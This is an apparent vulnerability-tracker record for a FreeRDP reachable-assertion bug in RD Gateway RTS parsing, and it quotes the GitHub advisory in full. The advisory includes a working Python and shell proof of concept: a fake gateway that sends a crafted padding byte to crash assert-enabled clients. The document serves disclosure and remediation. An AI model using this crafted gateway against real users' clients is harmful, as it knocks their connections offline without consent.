Malformed RTS packet crashes FreeRDP clients via reachable assertion
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · Low
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-6p3w-fv52-cf24. Fix status from GitHub. Impact type from CWE-617.
Summary
FreeRDP from 3.0.0 through 3.32.1 is affected when a client connects through a Remote Desktop Gateway. A malformed RPC-over-HTTP RTS packet with an inconsistent authentication padding value hits a reachable assertion (CWE-617). An attacker who operates the gateway, or intercepts the connection with a certificate the client accepts, can abort the connecting client without any privileges. The assertion is only active in builds compiled with WITH_VERBOSE_WINPR_ASSERT=ON, and the impact is denial of service against the client only.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
### Summary A FreeRDP client can be made to terminate when it connects through an attacker-controlled Remote Desktop Gateway and receives a crafted RPC-over-HTTP RTS packet. The packet supplies 64 bytes, declares a 32-byte fragment and a one-byte authentication value, and carries an inconsistent authentication padding value. Those declared lengths pass the parser's header checks before the padding assertion is evaluated. On builds compiled with WITH_VERBOSE_WINPR_ASSERT=ON, a reachable assertion aborts the client while checking that value. The impact is denial of service against the connecting client only. It does not affect a FreeRDP server or proxy, and the same packet is rejected cleanly when verbose assertions are disabled. ### Details ### Affected versions and prerequisites The assertion is present in every stable FreeRDP 3.x release tag from 3.0.0 through 3.32.1, inclusive. The security impact requires a build with WITH_VERBOSE_WINPR_ASSERT=ON. I found no fixed release tag. No claim is made here about older release lines or downstream changes. The attacker must operate the RD Gateway the user configures the client to use, or intercept that connection with a gateway certificate the client accepts. The victim must initiate a client connection through that gateway. The gateway completes the HTTP NTLM challenge exchange and then sends one crafted RTS PDU. No privilege on the client is required. A normal release-style build with verbose assertions disabled does not crash on this input. ### Technical details In FreeRDP 3.32.1, rts_read_auth_verifier reads the authentication verifier, calculates the padding length expected from the PDU header, asserts that the peer-provided padding matches, and then returns the same comparison as a Boolean result: ~~~c const size_t expected = header->frag_length - header->auth_length - 8; WINPR_ASSERT(pos + auth->auth_pad_length == expected); return pos + auth->auth_pad_length == expected; ~~~ For the reproduced CANCEL_ACK, the fragment length is 32, the authentication length is 1, and the verifier parser starts at byte offset 16. The expected padding is therefore 7. The packet sets the padding byte at offset 25 to 0. Header checks accept the complete packet and its lengths, then the assertion condition fails. With WITH_VERBOSE_WINPR_ASSERT=ON, WINPR_ASSERT calls winpr_int_assert, which aborts the process. With the option disabled, the assertion disappears and the Boolean comparison returns false, so the malformed packet is rejected through the ordinary connection-error path. No memory error was observed in assertion-disabled controls. The gateway parser is reached only by FreeRDP client-role processes configured to use an RD Gateway. The proxy does not configure or create a gateway back leg, and the server and shadow roles do not enter this RTS gateway parser. The abort therefore terminates the client that chose the gateway; it does not cross into a separate server or proxy process. ### Proof of concept This Linux reproducer uses Python's standard library, OpenSSL, Xvfb, and an assert-enabled FreeRDP build. It creates a short-lived certificate and display, serves the RPC-over-HTTP NTLM challenge flow expected by the client, and sends the tested CANCEL_ACK as a 64-byte buffer with frag_length=32 and auth_length=1; the extra supplied bytes are filler. Byte 25 is the mismatching padding value 0. The only modification for the control run is changing that byte to 7. ~~~sh TMP=$(mktemp -d) XVFB_PID= GATEWAY_PID= cleanup() { if [ -n "$GATEWAY_PID" ]; then kill "$GATEWAY_PID" 2>/dev/null || true wait "$GATEWAY_PID" 2>/dev/null || true fi if [ -n "$XVFB_PID" ]; then kill "$XVFB_PID" 2>/dev/null || true wait "$XVFB_PID" 2>/dev/null || true fi rm -rf "$TMP" } trap cleanup EXIT openssl req -x509 -newkey rsa:2048 -nodes -days 1 -subj /CN=localhost \ -keyout "$TMP/key.pem" -out "$TMP/cert.pem" >/dev/null 2>&1 Xvfb -displayfd 3 -screen 0 1024x768x24 3>"$TMP/display" >"$TMP/xvfb.log" 2>&1 & XVFB_PID=$! while [ ! -s "$TMP/display" ]; do sleep 0.1; done export DISPLAY=":$(cat "$TMP/display")" run_case() { PAD=$1 PORT=$2 python3 - "$PORT" "$PAD" "$TMP/cert.pem" "$TMP/key.pem" >"$TMP/gateway-$PORT.log" 2>&1 <<'PY' & import base64 import socket import ssl import struct import sys import threading import time port, pad = int(sys.argv[1]), int(sys.argv[2]) cert, key = sys.argv[3], sys.argv[4] target = "TEST".encode("utf-16le") info = b"\x00\x00\x00\x00" flags = 0xE28882B7 challenge_message = ( struct.pack("<8sIHHII8s8sHHI", b"NTLMSSP\x00", 2, len(target), len(target), 56, flags, b"12345678", b"\x00" * 8, len(info), len(info), 56 + len(target)) + bytes([10, 0, 0, 0, 0, 0, 0, 15]) + target + info ) challenge = base64.b64encode(challenge_message).decode() pdu = bytearray( b"\x05\x00\x0a\x03\x10\x00\x00\x00" + struct.pack("<HHI", 32, 1, 0) + b"A" * 48 ) pdu[25] = pad context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.load_cert_chain(cert, key) server = socket.socket() server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(("127.0.0.1", port)) server.listen(8) server.settimeout(25) def serve(raw): try: conn = context.wrap_socket(raw, server_side=True) conn.settimeout(12) buf = b"" for request_number in range(3): while b"\r\n\r\n" not in buf and len(buf) < 65536: data = conn.recv(4096) if not data: break buf += data if b"\r\n\r\n" not in buf: break head, buf = buf.split(b"\r\n\r\n", 1) lines = head.split(b"\r\n") if request_number == 0: reply = ( b"HTTP/1.1 401 Unauthorized\r\nWWW-Authenticate: NTLM " + challenge.encode() + b"\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n" ) conn.sendall(reply) else: conn.sendall( b"HTTP/1.1 200 OK\r\nContent-Type: application/rpc\r\n" b"Content-Length: 1073741824\r\nConnection: Keep-Alive\r\n\r\n" ) if b"RPC_OUT_DATA" in lines[0]: time.sleep(0.1) conn.sendall(pdu) time.sleep(7) break except Exception: pass finally: try: raw.close() except Exception: pass threads = [] for _ in range(4): try: raw, _ = server.accept() except Exception: break thread = threading.Thread(target=serve, args=(raw,), daemon=True) thread.start() threads.append(thread) server.close() time.sleep(8) PY GATEWAY_PID=$! sleep 1 timeout 45 xfreerdp /v:127.0.0.1 \ "/gateway:g:127.0.0.1:$PORT,u:gwuser,d:GWDOM,p:gwpass,type:rpc" \ /u:gwuser /p:gwpass /cert:ignore /log-level:DEBUG \ >"$TMP/client-$PORT.log" 2>&1 CLIENT_STATUS=$? kill "$GATEWAY_PID" 2>/dev/null || true wait "$GATEWAY_PID" 2>/dev/null || true GATEWAY_PID= printf 'pad=%s client_status=%s\n' "$PAD" "$CLIENT_STATUS" } run_case 0 3910 run_case 7 3911 ~~~ The inline wrapper creates an ephemeral TLS certificate and an Xvfb display, then runs pad-0 and pad-7 cases against the local gateway. Use an assert-enabled client build on PATH. For pad 0, the client logs the failed RTS padding assertion in rts_read_auth_verifier and exits with SIGABRT (status 134). For pad 7, the client does not assert or receive a signal; it ends with ERRCONNECT_SECURITY_NEGO_CONNECT_FAILED (status 133) because the test exchange ends before a complete RPC conversation. With WITH_VERBOSE_WINPR_ASSERT=OFF, the failed padding comparison follows the normal connection-error path rather than aborting. ### Impact This is a remote denial of service against a FreeRDP client only when it is built with verbose WinPR assertions enabled and the user connects through an attacker-controlled or trusted-certificate RD Gateway. The gateway causes the client's process to abort. The abort does not corrupt memory, write files, disclose data, or affect a server or proxy. Suggested CVSS v3.1 severity is Medium (6.5): CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H. Attack complexity is Low because the gateway sends a single deterministic packet without a race. User interaction is Required because the victim must initiate a connection through the hostile gateway. Confidentiality and integrity are None; availability is High for the affected client process because the assertion aborts it. ### Suggested remediation Do not use assertions to reject peer-controlled protocol input. Keep the equality check as an ordinary conditional and return a parse failure when the peer's padding length does not match the value derived from the header. Preserve the existing safe behavior when WITH_VERBOSE_WINPR_ASSERT=OFF. Add regression tests for both the CANCEL_ACK padding mismatch and the auth_length == frag_length - 8 verifier edge case. Each malformed packet should fail cleanly on assert-enabled and assert-disabled builds, while the corresponding valid-padding PDU should continue through parsing.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c/c++) | >= 3.0.0, <= 3.32.1 | 3.32.2 | Patch available | GHSA-6p3w-fv52-cf24 |
- FreeRDP (c/c++) Vendor— Affected >= 3.0.0, <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-6p3w-fv52-cf24
Remediation
Upgrade FreeRDP to version 3.32.2, the fixed version listed for this issue. The sources list no vendor advisory for this fix.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-6p3w-fv52-cf24 FreeRDP (c/c++) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-6p3w-fv52-cf24
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences